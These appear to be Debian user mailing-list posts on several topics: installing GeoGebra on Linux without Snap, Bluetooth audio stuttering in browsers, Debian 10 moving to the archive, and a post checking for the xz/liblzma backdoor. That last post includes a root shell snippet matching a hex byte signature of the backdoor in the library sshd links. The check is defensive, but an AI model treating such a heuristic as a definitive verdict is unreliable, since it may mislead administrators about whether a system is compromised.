Can we expect an up-to-date Linux application package in the near future?
https://www.reddit.com/r/geogebra/comments/17e0rpb/comment/k60gd50/

mike_geogebra / hace 5 m

Sorry, the only official way to run GeoGebra on Linux is in the Chrome
browser, or
https://wiki.geogebra.org/en/Reference:GeoGebra_Installation#GeoGebra_Classic_5_for_Desktop


Saludos,




Justamente lo que decía.
Es una API de Chrome.
Se puede correr "stand alone" si uno revuelve la página de descarga, que 
hasta ahora no la han bloqueado para un acceso de fuerza bruta.

El sitio es
https://download.geogebra.org/installers/6.0 y el paquete es
GeoGebra-Linux64-Portable-6-0-804-0.zip
No es fácil llegar, dado que no hay enlace alguno.
Lo que está está en SNAP, justamente, lo que hace es bajar esa API y al 
hacerla correr en modo "independiente" (no se ve el navegador), parece 
que es un paquete autónomo.

No me molesta correrlo así, lo que me molesta es SNAP.

Saludos.

Bluetooth sound problems playing from a web browser

[Richmond]

When playing videos in a web browser, and sending the sound to a
bluetooth speaker (amazon echo) I get playback problems; stuttering,
sound quality reduction to AM radio level or lower). These things can
clear up after a minute or two, or be reduced.

When playing from nvlc however I get no such problems. (I haven't tried
vlc so I am not sure if it is just that it is a command line).

I have tried google-chrome and firefox-esr.

Perhaps there is some other browser which will work? Maybe I need to
isolate the process from the browser? I tried pop-out picture on you
tube and it improved but there was still stuttering.

Re: making Debian secure by default

[Marc SCHAEFER]

Hello,

On Fri, Mar 29, 2024 at 07:02:54PM +0100, Kamil Jo?ca wrote:
> O-o, is there any simple test to check if I have infected version or
> not?

For example, under root:

  path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
   if hexdump -ve '1/1 "%.2x"' "$path" | grep -q  
f30f1efa554889f54c89ce5389fb81e700804883ec28488954241848894c2410
   then
echo probably vulnerable
   else
echo probably not vulnerable
   fi

NB: always think and read before typing root commands, or any commands
you find on a forum or mailing-list :)

More info:
   https://boehs.org/node/everything-i-know-about-the-xz-backdoor
  Interesting read about social interactions

   https://www.openwall.com/lists/oss-security/2024/03/29/4
  ref for the code above

   https://www.openwall.com/lists/oss-security/2024/03/29/23
  idea to confine the sshd -> systemd dependancy,
  in a specific process, because of the huge systemd
  attack surface

Debian 10 «Buster» (old old stable) se mueve al repositorio archivador

[Camaleón]

Hola,

Pues eso, mando la noticia para quien quiera instalar (o usar) esta 
versión y no la encuentre en las réplicas habituales:

Debian 10 "buster" moved to archive.debian.org
https://lists.debian.org/debian-devel-announce/2024/03/msg3.html

Quien todavía use esta versión seguramente tendrá que actualizar su 
archivo sources.list para reflejar este cambio, si quiere instalar algún 
paquete, ya que no recibe actualizaciones desde el canal normalizado 
(sí a través de LTS hasta el 30-6-2024).

Saludos,

-- 
Camaleón 

Re: Paquetes snap sin snap.

[Camaleón]

El 2024-03-29 a las 09:07 -0300, JavierDebian escribió:

> El 29/3/24 a las 06:49, Listas escribió:
> > El jue, 28-03-2024 a las 14:59 -0300, JavierDebian escribió:
> > > Buenas tardes.
> > > 
> > > Proyecto para mi fin de semana:
> > > 
> > > Instalar paquetes de SNAP sin instalar Snap.
> > > Odio Snap.
> > 
> > ¿Hay alguna razón para necesitar que sea un paquete snap?
> > Quiero decir, ¿no está empaquetado en la distribución? ¿no se
> > distribuye en otro formato?
> > 
> > > 
> > > ¿Alguien tiene alguna idea o intentó algo?
> > 
> > Nunca utilizé snap pero se podría buscar otro tipo de contenedor, como
> > un docker o similar, o simplemente compilarlo si está disponible el
> > código.
> > 
> > Un saludo
> > 
> 
> Buen día para todos y esperanza fundada para aquellos que somos creyentes.
> 
> El paquete en cuestión es Geogebra.

(...)

Parece que están reduciendo el soporte de la aplicación en Linux:


Can we expect an up-to-date Linux application package in the near future? 
https://www.reddit.com/r/geogebra/comments/17e0rpb/comment/k60gd50/

mike_geogebra / hace 5 m

Sorry, the only official way to run GeoGebra on Linux is in the Chrome 
browser, or 
https://wiki.geogebra.org/en/Reference:GeoGebra_Installation#GeoGebra_Classic_5_for_Desktop


Saludos, 

-- 
Camaleón